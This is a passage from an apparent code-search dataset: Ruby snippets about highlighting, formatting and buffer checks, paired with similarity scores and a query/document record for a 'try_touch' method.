else\n query = i.process_query(query) # process only once\n fields_for_ferret.each_pair do |field, config|\n next if config[:store] == :no || config[:highlight] == :no\n options[:field] = field\n highlights << i.highlight(query, doc_num, options)\n end\n end\n end\n return highlights.compact.flatten[0..options[:num_excerpts]-1]\n end", "def markup text\n if @store.rdoc.options\n locale = @store.rdoc.options.locale\n else\n locale = nil\n end\n if locale\n i18n_text = RDoc::I18n::Text.new(text)\n text = i18n_text.translate(locale)\n end\n parse(text).accept formatter\n end", "def html\n HtmlFormatter.new(self, options.merge(:highlight_words => true)).to_s\n end", "def apply_custom_formatting(text)\n\n # Define custom formatting codes and replacement values.\n codes = []\n codes << '<code>'\n codes << '</code>'\n replacements = []\n replacements << '<font name=\"SF Mono\"><color rgb=\"e83e8c\"><b>'\n replacements << '</b></color></font>'\n\n # Process each replacement.\n codes.each_with_index do |code, index|\n text.gsub!(code, replacements[index])\n end\n\n end", "def highlight(code, opts={})\n # If the caller didn't give us any code, we have nothing to do,\n # so return right away.\n return code if code.nil? || code.empty?\n\n # Callers pass along options in the hash\n opts[:options] ||= {}\n\n # Default to utf-8 for the output encoding, if not given.\n opts[:options][:outencoding] ||= 'utf-8'\n\n # Get back the string from mentos and force encoding if we can\n str = mentos(:highlight, nil, opts, code)\n str.force_encoding(opts[:options][:outencoding]) if str.respond_to?(:force_encoding)\n str\n end", "def handle_highlight_tags(str)\n str = BentoSearch::Util.handle_highlight_tags(\n str,\n :start_tag => @@highlight_start,\n :end_tag => @@highlight_end,\n :enabled => configuration.highlighting\n )\n end", "def use_formatter(formatter)\n @formatter = formatter\n end", "def highlight(search_str, text)\n text.gsub!(search_str, \"<strong>#{search_str}</strong>\")\n end", "def format(text); end", "def process_code text\n # the first line is the lang identifier\n lang = text.lines.first.scan(/^#!+[\\s+]?(\\w+)/).flatten.first\n\n # if found remove first line from text\n if lang\n lang.downcase!\n text = text.lines.to_a[1..-1].join\n else\n lang = 'text'\n end\n\n # highlight and put into a `div` element\n html = CodeRay.scan(text, lang).div(:css => :class)\n end", "def lex(lexer, code)\n lexer.lex(code)\n end", "def lex(lexer, code)\n lexer.lex(code)\n end", "def handle_highlight_tags(str)\n\n str = BentoSearch::Util.handle_highlight_tags(\n str,\n :start_tag => @@highlight_start,\n :end_tag => @@highlight_end,\n :enabled => configuration.highlighting\n )\n\n end", "def set_text\n @text_field.text = @str\n @formats.each do |start, n, style|\n case style\n when FoxTextFormatter::STYLE_BOLD\n @text_field.changeStyle(start, n, 2)\n when FoxTextFormatter::STYLE_H1\n @text_field.changeStyle(start, n, 3)\n when FoxTextFormatter::STYLE_H2\n @text_field.changeStyle(start, n, 4)\n when FoxTextFormatter::STYLE_H3\n @text_field.changeStyle(start, n, 5)\n when FoxTextFormatter::STYLE_TELETYPE\n @text_field.changeStyle(start, n, 6)\n when FoxTextFormatter::STYLE_CODE\n @text_field.changeStyle(start, n, 7)\n when FoxTextFormatter::STYLE_EMPHASIS\n @text_field.changeStyle(start, n, 8)\n when FoxTextFormatter::STYLE_CLASS\n @text_field.changeStyle(start, n, 9)\n else\n @text_field.changeStyle(start, n, 1)\n end\n\n end\n end", "def sql_to_highlight(sql)\n # wrap sql @ 120\n width = 120\n ar = sql.gsub(/from /i, \"\\nFROM \").gsub(/where /i, \"\\nWHERE \").gsub(/(left outer join |left join |inner join |join )/i, \"\\n\\\\1\").split(\"\\n\")\n wrapped_sql = ar.map { |a| a.scan(/\\S.{0,#{width - 2}}\\S(?=\\s|$)|\\S+/).join(\"\\n\") }.join(\"\\n\")\n\n theme = Rouge::Themes::Github.new\n formatter = Rouge::Formatters::HTMLInline.new(theme)\n lexer = Rouge::Lexers::SQL.new\n formatter.format(lexer.lex(wrapped_sql))\n end", "def highlight_line(string)\n\t$targets.each do |t|\n\t\n\t\t# match case insensitive if asked nicely\n\t\tif $options.match(/i/)\n\t\t\tre = Regexp.compile(t, true)\n\t\telse\n\t\t\tre = Regexp.compile(t, false)\n\t\tend\n\n\t\t# surround each match with terminal color control chars\n\t\tstring.gsub!(re) do |s|\n\t\t\t\"%s%s%s\" % [get_color(t), $&, $Normal]\n\t\tend\n\tend\n\n\tstring\nend", "def highlight_words(t, words, html = true)\n if html\n t = h(t)\n end\n if html\n t = highlight(t, words, '<span class=\"highlight\">\\1</span>')\n else\n t = highlight(t, words, '*\\1*')\n end\n return t\n end", "def highlight(pattern)\n\t\tpattern = Regexp.new(pattern) if pattern.is_a?(String)\n\t\t@highlights = [[0, Qt::black]] # todo factor this\n\t\tinvalid_rows = []\n\t\t(0...num_lines).each do |index|\n\t\t\tline = line(index)\n\t\t\tif line =~ pattern\n\t\t\t\t#todo\n\t\t\t\t#@highlights << HighlightData.new(index, $~.begin(0), index, $~.end(0), Qt::yellow, Qt::black)\n\t\t\t\t#invalid_rows << index\n\t\t\tend\n\t\tend\n\n\t\t##repaint_rows(invalid_rows)\n\tend", "def pretty_format(text)\n parser.parse(text)\n end", "def add_highlighting(solr_params)\n solr_params['hl'] = true\n solr_params['hl.fl'] = CatalogController.blacklight_config.highlight_field\n solr_params['hl.snippets'] = 3\n solr_params\n end", "def highlight name, &block\n @nodes << HighlightNode.new(name)\n @nodes.last.instance_eval(&block)\n end", "def syntax_highlight_class(content_type)\n case content_type\n when JSON\n \"highlight json\"\n when XML\n \"highlight xml\"\n end\n end", "def enable_highlight(align)\n @highlight[align] = true\n end", "def pygmentize(code, lang)\n url = URI.parse 'http://pygments.simplabs.com/'\n options = {'lang' => lang, 'code' => code}\n begin\n Net::HTTP.post_form(url, options).body\n rescue\n \"<pre>#{code}</pre>\"\n end\n end", "def highlight_gap_marks_in_red!(lb)\n # gap_marks: Skip certain characters and find characters to highlight in red\n gap_mark_complete_regex = Regexp.new(Regexp.escape(tmp_gap_mark_complete))\n l_ch = @options[:language].chars\n chars_to_skip = [\n l_ch[:d_quote_open],\n l_ch[:em_dash],\n l_ch[:s_quote_open],\n ' ',\n '(',\n '[',\n '\"',\n \"'\",\n '}',\n '*',\n '[', # chinese bracket\n '(', # chinese parens\n '一', # chinese dash\n '《', # chinese left double angle bracket\n ].join\n lb.gsub!(\n /\n #{ gap_mark_complete_regex } # find tmp gap mark number and text\n ( # capturing group for first group of characters to be colored red\n (?: # non capturing group\n #{ l_ch[:elipsis] } # elipsis\n (?!#{ l_ch[:elipsis] }) # not followed by another elipsis so we exclude chinese double elipsis\n )? # optional\n )\n ( # capturing group for characters that are not to be colored red\n (?: # find one of the following, use non-capturing group for grouping only\n [#{ Regexp.escape(chars_to_skip) }]+ # special chars or delimiters\n | # or\n …… # chinese double elipsis\n | # or\n \\\\[[:alnum:]]+\\{ # latex command with opening {\n | # or\n \\s+ # eagle followed by whitespace\n )* # any of these zero or more times to match nested latex commands\n )\n ( # capturing group for second group of characters to be colored red\n #{ l_ch[:elipsis] }? # optional elipsis\n [[:alpha:][:digit:]#{ l_ch[:apostrophe] }\\-\\?,]* # words and some punctuation\n )\n /x,\n # we move the tmp_gap_mark_number to the very beginning so that if we\n # have an ellipsis before a latex command, the gap_mark_number will be\n # in front of the entire section that is colored red.\n # \\1: an optional ellipsis (colored red)\n # \\2: an optional latex command or characters not to be colored red\n # \\3: the text to be colored red\n # OPTIMIZATION: We could skip the first \\RtGapMarkText if \\1 is blank\n tmp_gap_mark_number + \"\\\\RtGapMarkText\" + '{\\1}' + '\\2' + \"\\\\RtGapMarkText\" + '{\\3}'\n )\n # If in the gap_mark processing above regex ref \\1 is empty, we end up\n # with empty `\\RtGapMarkText{}` fragments. We remove them in this step:\n lb.gsub!(\"\\\\RtGapMarkText{}\", '')\n # Move tmp_gap_mark_number to outside of quotes, parentheses and brackets\n if !['', nil].include?(tmp_gap_mark_number)\n gap_mark_number_regex = Regexp.new(Regexp.escape(tmp_gap_mark_number))\n chars_to_move_outside_of = [\n l_ch[:apostrophe],\n l_ch[:d_quote_open],\n l_ch[:s_quote_open],\n '(',\n '[',\n ].join\n lb.gsub!(\n /\n ( # capturing group for characters to move outside of\n [#{ Regexp.escape(chars_to_move_outside_of) }]*\n )\n #{ gap_mark_number_regex } # find tmp gap mark number\n /x,\n tmp_gap_mark_number + '\\1' # Reverse order\n )\n # Move tmp_gap_mark_number to after leading eagle\n lb.gsub!(\n /\n (#{ gap_mark_number_regex }) # capture group for tmp gap mark number\n \\s? # followed by eagle and optional space\n /x,\n '\\1' # Reverse order\n )\n # Convert tmp_gap_mark_number to latex command\n lb.gsub!(gap_mark_number_regex, \"\\\\RtGapMarkNumber{}\")\n end\n # Make sure no tmp_gap_marks are left\n if(ltgm = lb.match(/.{0,20}#{ Regexp.escape(tmp_gap_mark_text) }.{0,20}/))\n raise(LeftoverTempGapMarkError.new(\"Leftover temp gap mark: #{ ltgm.to_s.inspect }\"))\n end\n if !['', nil].include?(tmp_gap_mark_number)\n if(ltgmn = lb.match(/.{0,10}#{ Regexp.escape(tmp_gap_mark_number) }.{0,10}/))\n raise(LeftoverTempGapMarkNumberError.new(\"Leftover temp gap mark number: #{ ltgmn.to_s.inspect }\"))\n end\n end\n end", "def format(text, &block)\n extract(text).each_with_object(text.clone) do |extract, redacted_text|\n sub = block_given? ? block.call(extract) : default_replacement\n redacted_text[extract.start..extract.finish] = sub\n end\n end", "def highlight(code)\n CodeRay.scan(code, :ruby).div(:css => :class)\n end", "def controlTextDidChange(notification)\n sourceValidationWithCurrentSource do |source|\n color = nil\n begin\n if source.syntax_error?\n color = NSColor.redColor\n elsif source.code_block?\n unless source.buffer.empty?\n color = NSColor.greenColor\n end\n else\n color = NSColor.cyanColor\n end\n rescue IndexError # ripper takes apart unicode chars\n color = NSColor.cyanColor\n end\n view.listView.highlightCurrentBlockWithColor(color)\n end\n end", "def process_text text, color = \"#000000\"\n end", "def set_highlight(val)\n add_actions \"SetHighlight(#{val})\"\n end", "def colorize(text, color_code); \"\\e[#{color_code}m#{text}\\e[0m\"; end", "def yml_to_highlight(yml)\n theme = Rouge::Themes::Github.new\n formatter = Rouge::Formatters::HTMLInline.new(theme)\n lexer = Rouge::Lexers::YAML.new\n formatter.format(lexer.lex(yml))\n end", "def highlight(node, show_sexp: false, colorize: true)\n output =\n if node.respond_to?(:loc) && !show_sexp\n wrap_source_range(node).source\n else\n node\n end\n return output unless colorize\n\n CodeRay.scan(output, :ruby).term\n end", "def lexEditorText\n text = @ui.bigEditor.toPlainText\n @lexer_widget.lexText(text, true)\n end", "def formatter=(formatter)\n @formatter.formatter = formatter\n end", "def highlight(text,relations,places)\n highlight = String.new(text)\n relations.each do |relation|\n highlight.gsub!(/(#{relation[\"name\"]})/) {\"\\033[7m#{$1}\\033[0m\"}\n end\n places.each do |place|\n highlight.gsub!(/(#{place})/) {\"\\033[4m#{$1}\\033[0m\"}\n end\n\n highlight\nend", "def highlight_tree(ast, prev = nil)\n if ast.node_type == :composite\n wrap = prev != :keyword\n (wrap ? \"<span class='keyword'>\" : '') +\n\t(ast.elements.map do |e|\n\t highlight_tree(e, :keyword)\n\tend * '').\n\t gsub(%r{(<span class='([a-z]*)'>[^<]*)</span><span class='\\2'>},'\\1') +\n\t(wrap ? \"</span>\" : '')\n else\n t = ast.text_value.gsub('<', '&lt;').gsub('>', '&gt;')\n if t == ''\n\tt\n else\n\tn = ast.node_type\n\tn == prev ? t : \"<span class='#{n}'>#{ast.text_value}</span>\"\n end\n end\n end", "def highlight_codeblock(el)\r\n #puts highlight_code(el.value, el.attr['class'], :span)\r\n #h = ::Kramdown::Converter.syntax_highlighter(@options[:syntax_highlighter])\r\n #puts h.call(self, el.value, el.attr['class'], :span)\r\n #puts syntax_highlighter(self, el.value, el.attr['class'], :span)\r\n puts \"SB #{el.inspect}\"\r\n nil # until it's ready for Shoes to eval it. \r\n end", "def add_syntax_highlighter_to_class_attr(attr, lang = T.unsafe(nil)); end", "def insert_highlighting(new_code, vars)\n string_indexes = scan_for_index_start_and_end(new_code, regex_find_strings) +\n scan_for_index_start_and_end(new_code, /\\d+\\.\\d+/)\n # scan also for floating point numbers to prevent wrong\n # handling of the \".\"\n string_indexes\n operation_indexes = scan_for_index_start_and_end(new_code, regex_find_operations)\n # Set the array of tracing variables to empty, if there only is\n # the underscore, which by default in erlang is undefined.\n vars = [] if vars.length == 1 && vars[0] == '_'\n\n unless vars.empty?\n # fill array for operation_indexes with indexes of given variables\n vars.each do |var|\n if var != '_'\n operation_indexes += scan_for_index_start_and_end(new_code, Regexp.new(\"\\\\b#{var}\\\\b\"))\n end\n end\n operation_indexes = operation_indexes.sort_by { |hsh| hsh[:starts] }\n end\n\n unless string_indexes.empty? && operation_indexes.empty?\n new_code = insert_prefix(new_code, operation_indexes, string_indexes)\n end\n\n # insert information of line numbers\n new_code = change_prefix_2_line_number(new_code)\n\n # insert debugging functionality\n new_code = change_prefix_2_debug(new_code, vars) unless vars.empty?\n\n # delete all for processing inserted prefixes\n new_code.gsub!(regex_lineprefix, '')\n\n new_code\nend", "def render\n source_line = @location.source_line\n highlight_line = ' ' * source_line.length\n\n @highlights.each do |hilight|\n range = hilight.column_range\n highlight_line[range] = '~' * hilight.size\n end\n\n range = @location.column_range\n highlight_line[range] = '^' * @location.size\n\n [\n \"#{@location.to_s}: #{@level}: #{@message}\",\n source_line,\n highlight_line,\n ]\n end", "def set_text_runs\r\n raise MissingFormatterMethodError\r\n end", "def code_highlighting_stylesheet\n Sass::Engine.new(<<STYLESHEET, syntax: :sass).render\npre\n background-color: #ccd\n margin: 0px\n padding: 0.75em\n .hll\n background-color: #ffffcc\n // Error\n .err\n border: 1px solid #FF0000\n .c\n color: #60a0b0\n font-style: italic /* Comment */\n .k\n color: #007020\n font-weight: bold /* Keyword */\n .o\n color: #666666 /* Operator */\n .cm\n color: #60a0b0\n font-style: italic /* Comment.Multiline */\n .cp\n color: #007020 /* Comment.Preproc */\n .c1\n color: #60a0b0\n font-style: italic /* Comment.Single */\n .cs\n color: #60a0b0\n background-color: #fff0f0 /* Comment.Special */\n .gd\n color: #A00000 /* Generic.Deleted */\n .ge\n font-style: italic /* Generic.Emph */\n .gr\n color: #FF0000 /* Generic.Error */\n .gh\n color: #000080\n font-weight: bold /* Generic.Heading */\n .gi\n color: #00A000 /* Generic.Inserted */\n .go\n color: #888888 /* Generic.Output */\n .gp\n color: #c65d09\n font-weight: bold /* Generic.Prompt */\n .gs\n font-weight: bold /* Generic.Strong */\n .gu\n color: #800080\n font-weight: bold /* Generic.Subheading */\n .gt\n color: #0044DD /* Generic.Traceback */\n .kc\n color: #007020\n font-weight: bold /* Keyword.Constant */\n .kd\n color: #007020\n font-weight: bold /* Keyword.Declaration */\n .kn\n color: #007020\n font-weight: bold /* Keyword.Namespace */\n .kp\n color: #007020 /* Keyword.Pseudo */\n .kr\n color: #007020\n font-weight: bold /* Keyword.Reserved */\n .kt\n color: #902000 /* Keyword.Type */\n .m\n color: #40a070 /* Literal.Number */\n .s\n color: #4070a0 /* Literal.String */\n .na\n color: #4070a0 /* Name.Attribute */\n .nb\n color: #007020 /* Name.Builtin */\n .nc\n color: #0e84b5\n font-weight: bold /* Name.Class */\n .no\n color: #60add5 /* Name.Constant */\n .nd\n color: #555555\n font-weight: bold /* Name.Decorator */\n .ni\n color: #d55537\n font-weight: bold /* Name.Entity */\n .ne\n color: #007020 /* Name.Exception */\n .nf\n color: #06287e /* Name.Function */\n .nl\n color: #002070\n font-weight: bold /* Name.Label */\n .nn\n color: #0e84b5\n font-weight: bold /* Name.Namespace */\n .nt\n color: #062873\n font-weight: bold /* Name.Tag */\n .nv\n color: #bb60d5 /* Name.Variable */\n .ow\n color: #007020\n font-weight: bold /* Operator.Word */\n .w\n color: #bbbbbb /* Text.Whitespace */\n .mb\n color: #40a070 /* Literal.Number.Bin */\n .mf\n color: #40a070 /* Literal.Number.Float */\n .mh\n color: #40a070 /* Literal.Number.Hex */\n .mi\n color: #40a070 /* Literal.Number.Integer */\n .mo\n color: #40a070 /* Literal.Number.Oct */\n .sb\n color: #4070a0 /* Literal.String.Backtick */\n .sc\n color: #4070a0 /* Literal.String.Char */\n .sd\n color: #4070a0\n font-style: italic /* Literal.String.Doc */\n .s2\n color: #4070a0 /* Literal.String.Double */\n .se\n color: #4070a0\n font-weight: bold /* Literal.String.Escape */\n .sh\n color: #4070a0 /* Literal.String.Heredoc */\n .si\n color: #70a0d0\n font-style: italic /* Literal.String.Interpol */\n .sx\n color: #c65d09 /* Literal.String.Other */\n .sr\n color: #235388 /* Literal.String.Regex */\n .s1\n color: #4070a0 /* Literal.String.Single */\n .ss\n color: #517918 /* Literal.String.Symbol */\n .bp\n color: #007020 /* Name.Builtin.Pseudo */\n .vc\n color: #bb60d5 /* Name.Variable.Class */\n .vg\n color: #bb60d5 /* Name.Variable.Global */\n .vi\n color: #bb60d5 /* Name.Variable.Instance */\n .il\n color: #40a070 /* Literal.Number.Integer.Long */\nSTYLESHEET\nend", "def formatter\n @formatter.formatter\n end", "def hit_highlight(text, hits = [])\n if hits.empty?\n return text\n end\n \n chunks = text.split(\"<\").map do |item|\n item.blank? ? item : item.split(\">\")\n end.flatten\n\n tags = [\"<\" + DEFAULT_HIGHLIGHT_TAG + \">\", \"</\" + DEFAULT_HIGHLIGHT_TAG + \">\"]\n \n result = \"\"\n chunk_index, chunk = 0, chunks[0]\n prev_chunks_len = 0\n chunk_cursor = 0\n start_in_chunk = false\n for hit, index in hits.flatten.each_with_index do\n tag = tags[index % 2]\n \n placed = false\n until chunk.nil? || hit < prev_chunks_len + chunk.length do\n result << chunk[chunk_cursor..-1] \n if start_in_chunk && hit == prev_chunks_len + chunk.length\n result << tag\n placed = true\n end\n result << \"<#{chunks[chunk_index+1]}>\"\n prev_chunks_len += chunk.length\n chunk_cursor = 0\n chunk_index += 2\n chunk = chunks[chunk_index]\n start_in_chunk = false\n end\n \n if !placed && !chunk.nil?\n hit_spot = hit - prev_chunks_len\n result << chunk[chunk_cursor...hit_spot] + tag\n chunk_cursor = hit_spot\n if index % 2 == 0\n start_in_chunk = true\n end\n end\n end\n \n if !chunk.nil?\n result << chunk[chunk_cursor..-1]\n for index in chunk_index+1..chunks.length-1\n result << (index.even? ? chunks[index] : \"<#{chunks[index]}>\")\n end\n end\n \n result\n end", "def colorize(text, color_code)\n \"\\e[#{color_code}m#{text}\\e[0m\"\nend", "def highlight(string)\n string.gsub @terms, \"<b>#{@terms}</b>\"\n end", "def register_formatter(name, &block)\n Valuable::Utils.formatters[name] = block\n end", "def highlight_problems( line, re )\n\t\tline \\\n\t\t\t.gsub( re ) { color $&, :on_red } \\\n\t\t\t.gsub( /\\t+/ ) { color \"\\u{21e5} \" * $&.length, :dark, :white }\n\tend", "def parse_codespan\n start_line_number = @src.current_line_number\n result = @src.scan(CODESPAN_DELIMITER)\n simple = (result.length == 1)\n saved_pos = @src.save_pos\n\n if simple && @src.pre_match =~ /\\s\\Z|\\A\\Z/ && @src.match?(/\\s/)\n add_text(result)\n return\n end\n\n # assign static regex to avoid allocating the same on every instance\n # where +result+ equals a single-backtick. Interpolate otherwise.\n if result == '`'\n scan_pattern = /`/\n str_sub_pattern = /`\\Z/\n else\n scan_pattern = /#{result}/\n str_sub_pattern = /#{result}\\Z/\n end\n\n if (text = @src.scan_until(scan_pattern))\n text.sub!(str_sub_pattern, '')\n unless simple\n text = text[1..-1] if text[0..0] == ' '\n text = text[0..-2] if text[-1..-1] == ' '\n end\n @tree.children << Element.new(:codespan, text, nil, {\n codespan_delimiter: result,\n location: start_line_number\n })\n\n else\n @src.revert_pos(saved_pos)\n add_text(result)\n end\n end", "def wh_parsed(locus, text, highlight = [])\n wh(text, highlight) do |parse, index|\n words = locus.example.scan(/\\[\\[([^|]+?)\\]\\]|\\[\\[(.+?)\\|/).flatten.compact\n nth_parse = words[0, index].count(parse)\n all_matching = locus.parses.find_all { |p| parse == (p.parsed_form) }\n sense = all_matching[nth_parse].try(:interpretations).try(:first).try(:sense)\n sense.try(:definition)\n end\n end", "def process(type, text, page)\n if type == \"Underline\"\n if @out[-1].index(text.strip)\n @out << @out.pop.gsub(text.strip,\"::::#{text.strip}::::\")\n else\n type = \"Underline-standalone\"\n end\n end\n return type == \"Underline\" ? nil : format(type, text, page) \nend" ]
[ "0.87901795", "0.87890375", "0.69050014", "0.6761689", "0.6756509", "0.67013115", "0.64033103", "0.63785017", "0.63533205", "0.63533205", "0.62713426", "0.62316215", "0.6202541", "0.61890465", "0.61890465", "0.61890465", "0.6174313", "0.61204726", "0.608457", "0.5998763", "0.59611034", "0.59159404", "0.5912859", "0.59106076", "0.5899287", "0.5897766", "0.58771485", "0.58582455", "0.5815257", "0.5809698", "0.5778376", "0.5773818", "0.5757497", "0.570373", "0.570373", "0.56120664", "0.55599314", "0.5559412", "0.55037147", "0.54804426", "0.54793406", "0.5458995", "0.54430354", "0.54328346", "0.54277295", "0.54064447", "0.53879446", "0.5377412", "0.5331426", "0.53170115", "0.5306579", "0.5299849", "0.52987635", "0.52884126", "0.5269098", "0.5252077", "0.5250768", "0.52493834", "0.52480495", "0.52480495", "0.52440464", "0.5205276", "0.51918066", "0.518735", "0.51752985", "0.51730657", "0.51716906", "0.51713496", "0.51444256", "0.5139232", "0.51261485", "0.5125183", "0.5114742", "0.51102775", "0.50724137", "0.5068674", "0.50620556", "0.50451577", "0.5036273", "0.50310457", "0.50052065", "0.5004554", "0.49947104", "0.49893585", "0.4947878", "0.4937748", "0.49345222", "0.49293646", "0.4924022", "0.49228", "0.49142066", "0.4911685", "0.491049", "0.489637", "0.4889174", "0.48886603", "0.48765805", "0.48730984", "0.48654422", "0.48593408" ]
0.8647969
2
If value is contained in the buffer, it's value is set to 1 and true is returned, otherwise false
def try_touch(value) result = contains? value touch(value) if result result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ==(buffer); end", "def [](position)\n (@field.getbyte(position >> 3) & (1 << (byte_position(position) % 8))) > 0 ? 1 : 0\n end", "def value?(p0) end", "def include?(flag)\n return ( @val & flag ) == flag\n end", "def one_bit?\n identify.include?('1-bit')\n end", "def alto?\n @cr[0xb][7] == 1\n end", "def has_value?(p0) end", "def ==(value)\r\n return (@access >> 26) == value\r\n end", "def contains?(val)\n \t@array.each do |element|\n \t\treturn true if element.value == val\n \t\treturn false if element.value != val\n \t\tuntil node.next_node == nil\n \t\tend\n \tend \n end", "def set?(flag)\n (@status_register & flag == 0) ? false : true\n end", "def contains? (value)\n return false if @head.nil?\n\n self.each {|current| return true if current.data == value}\n \n return false \n end", "def to_b(value)\n [0,false,nil].include?(value) ? false : true\n end", "def set?(num, mask)\n (num & mask) != 0\nend", "def rebus_value?(v)\n v && v.size > 1\n end", "def search(value)\r\n cursor = @head\r\n while cursor\r\n return true if cursor.data == value\r\n cursor = cursor.next\r\n end\r\n return false\r\n end", "def value?(value) true end", "def is?(val)\n return true if @val == val\n end", "def flush?\n return val if val.map(&:suit).uniq.count == 1\n\n false\n end", "def true?\n self.value == '1'\n end", "def true?\n self.value == '1'\n end", "def bool_to_binary(val)\n saved_object_count = @written_object_count\n @written_object_count += 1\n\n @object_table[saved_object_count] = val ? \"\\x9\" : \"\\x8\" # 0x9 is 1001, type indicator for true; 0x8 is 1000, type indicator for false\n return saved_object_count\n end", "def writeable?\n (status & (1 << 2)).nonzero?\n end", "def secure_compare(value)\n a = self.secret\n b = value\n\n return false if a.blank? || b.blank? || a.bytesize != b.bytesize\n l = a.unpack \"C#{a.bytesize}\"\n\n res = 0\n b.each_byte { |byte| res |= byte ^ l.shift }\n res == 0\n end", "def equals_one_check(value)\r\n if value == 1\r\n return true\r\n else\r\n return false\r\n end\r\nend", "def pull?\n @data_bytes[1] != 0\n end", "def contains?(value)\n return false if @head.nil?\n node = @head\n limit = size - 1\n limit.times do\n break if node.data == value\n node = node.next_node\n end\n if value == node.data \n true\n else\n false\n end\nend", "def bass?\n @cr[0xa][7] == 1\n end", "def found_unique?\n @flags.size == 1\n end", "def value?\n @count > 0\n end", "def value?\n return !self.flag?\n end", "def within_terminal_boundary?(value)\n buffer[value.position.y] && buffer[value.position.y][value.position.x]\n end", "def contain?(value)\n\t\tcurrent = @head\n\t\twhile current \n\t\t\treturn true if current.value == value\n\t\t\tcurrent = current.next\n\t\tend\n\t\tfalse \n\tend", "def value?(value); end", "def value?(value); end", "def contains?(value)\n retval = false\n if @size == 0\n return false\n else\n search_index = @head\n loop {\n if search_index == nil\n break;\n end\n if search_index.value == value\n return true\n end\n search_index = search_index.next_node\n }\n end\n retval\n end", "def value?(value)\n\t\treturn self.value == value\n\tend", "def value?(value)\n\t\treturn self.value == value\n\tend", "def matches?(value, context = T.unsafe(nil)); end", "def matches?(value, context = T.unsafe(nil)); end", "def set?(bit)\n bit = convert_bit(bit)\n intersect(bit) == bit\n end", "def readable?\n (status & (1 << 1)).nonzero?\n end", "def contains? (value)\n return false if @size == 0\n if @root.value == value\n \t\treturn true\n \tend\n \tnode=@root.next_node\n while(node!=nil)\n if node.value == value\n \treturn true\n end\n node=node.next_node\n end\n return false\n end", "def has_value?(value); end", "def include?(value)\n !!connection.zrank(key_label, value)\n end", "def check_raw_value(value)\n check(value, {\n :type => :uint8,\n :count => (size < 1 ? 1 : size),\n :length => 1,\n :bit_length => 8,\n :sign => :unsigned,\n :default_value => 0,\n })\n end", "def single_data_value?\n RECORD_INFO[type].single_data_value?\n end", "def soprano?\n @cr[0xc][7] == 1\n end", "def boolean\n Util.from_bytes :boolean, value\n end", "def have?(length)\n return length <= @buffer.bytesize \n end", "def _true\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"true\")\n unless _tmp\n self.pos = _save\n break\n end\n _save1 = self.pos\n _tmp = apply(:_utfw)\n _tmp = _tmp ? nil : true\n self.pos = _save1\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_true unless _tmp\n return _tmp\n end", "def post_process_boolean( val )\n\t\t\treturn TRUE_VALUES.include?( val.to_s.downcase )\n\t\tend", "def _boolinze(val)\n return true if ['true', '1'].include?(val)\n return false if ['false', '0'].include?(val)\n val\n end", "def add(value)\n found = true\n @values.delete(value) { found = false }\n @values[value] = true\n @values.shift if @values.length > @capacity\n found\n end", "def value?\n Array.wrap(element_value).reject(&:empty?).any?\n end", "def value?(column_name, val)\n ![0, false].include?(send(column_name) & val)\n end", "def include?(array, value)\n array.each do |integer|\n return true if integer == value\n end\n return false\nend", "def contains?(val)\n return nil if @head == nil\n\n result = false\n\n node = @head\n until node.next_node.nil?\n if node.value == val\n result = true\n break\n end\n node = node.next_node\n end\n\n result\n end", "def contains?(value)\n temp = @head\n while temp\n return true if temp.value == value\n temp = temp.next_node\n end\n false\n end", "def contains?(value)\n node = @head\n until node.nil?\n return true if node.value == value \n node = node.link\n end\n false\n end", "def buffer? \n !@_out_buf.nil?\n end", "def array_42(z)\n if z.include? 42\n return true\n else\n return false\n end\n\nend", "def ==(value)\n #\n # Bitstring/bitstring comparison\n #\n unless (value.class == self.class)\n value = _arg2int(value)\n if (self.bounded?)\n bits = [self.length, value.to_s(2).length].max\n value = self.class.new(value, bits)\n else\n value = self.class.new(value)\n end\n end\n ((self.class == value.class) &&\n (self.bounded? == value.bounded?) &&\n (self.length == value.length) &&\n (@value == value.to_i))\n end", "def recognize?(buffer)\n end", "def bool(val)\n raise ArgumentError, \"bool() requires a boolean argument\" \\\n unless val == true || val == false\n\n self.int32(val ? 1 : 0)\n end", "def read_bit\n @buffer.shift if @buffer.length >= 1\n end", "def push(value)\n\t\t\tif @storage.insert(0, value)\n\t\t\t\ttrue\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend", "def fully_transparent?(value)\n a(value) == 0x00000000\n end", "def fully_transparent?(value)\n a(value) == 0x00000000\n end", "def full?\n flags & 0x2 == 0x2\n end", "def contains?(val)\n node = @head\n while !(node.nil?)\n return true if node.value == val\n node = node.next_node\n end\n return false\n end", "def check_last_byte(op, value)\r\n return true if op[2..-1].to_i > value\r\nend", "def value? value\n include? value\n end", "def result\n val = value.sub(/^boolean-/, '')\n val.casecmp(\"true\").zero?\n end", "def contains?(val)\n current = @head\n while current.next?\n current = current.next_node\n return true if current.value == val\n end\n false\n end", "def contains?(value)\n current_node = @head\n while current_node.next != nil do\n current_node = current_node.next\n return true if current_node.data == value\n end\n return false\n end", "def single_value?\n return false\n end", "def check(word)\n bloom_filter(word).inject(true) { |is_real, i| is_real && @bitmap[i] }\n end", "def test_value\n assert_equal 4095, @flag.value\n assert_equal 0, @flag_zero.value\n end", "def contains(value)\n end", "def search(value)\n current = @head\n while current != nil\n if current.data == value\n return true\n end\n current = current.next\n end\n\n return false\n end", "def value_is_binary?(value) # :nodoc:\n value = value.to_s\n return true if value[0] == ?: or value[0] == ?<\n value.each_byte { |byte| return true if (byte < 32) || (byte > 126) }\n false\n end", "def readable(value)\n shift_out_with_index { |bit, i| bit.readable = (value[i] == 0b1); bit.set_access_from_rw }\n self\n end", "def check_value(v, options = {:length => 0x1})\n array :initial_length => options[:length] do\n uint32 :check_value => lambda { value == v }\n end\n end", "def bool\n i8u != 0\n end", "def set_next(value)\n increase_length\n\n new_index = (@index + 1) % @size\n previous = @bit_set.set(new_index, value == true) ? 1 : 0\n current = value == true ? 1 : 0\n\n\n @index = new_index\n @cardinality = @cardinality - previous + current\n end", "def ace_value?(value)\n value.size == 2\n end", "def complete?\n @bytes == [[0, @length - 1, true]]\n end", "def next_word_for_a?\n # See DCPU16::ValueSet and DCPU-16 specification for more information about these values\n [0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x1E, 0x1F].include? @a\n end", "def contains?(value)\n current_node = @head\n until current_node.nil?\n return true if current_node.value == value\n\n current_node = current_node.next_node\n end\n false\n end", "def search(value)\r\n current = 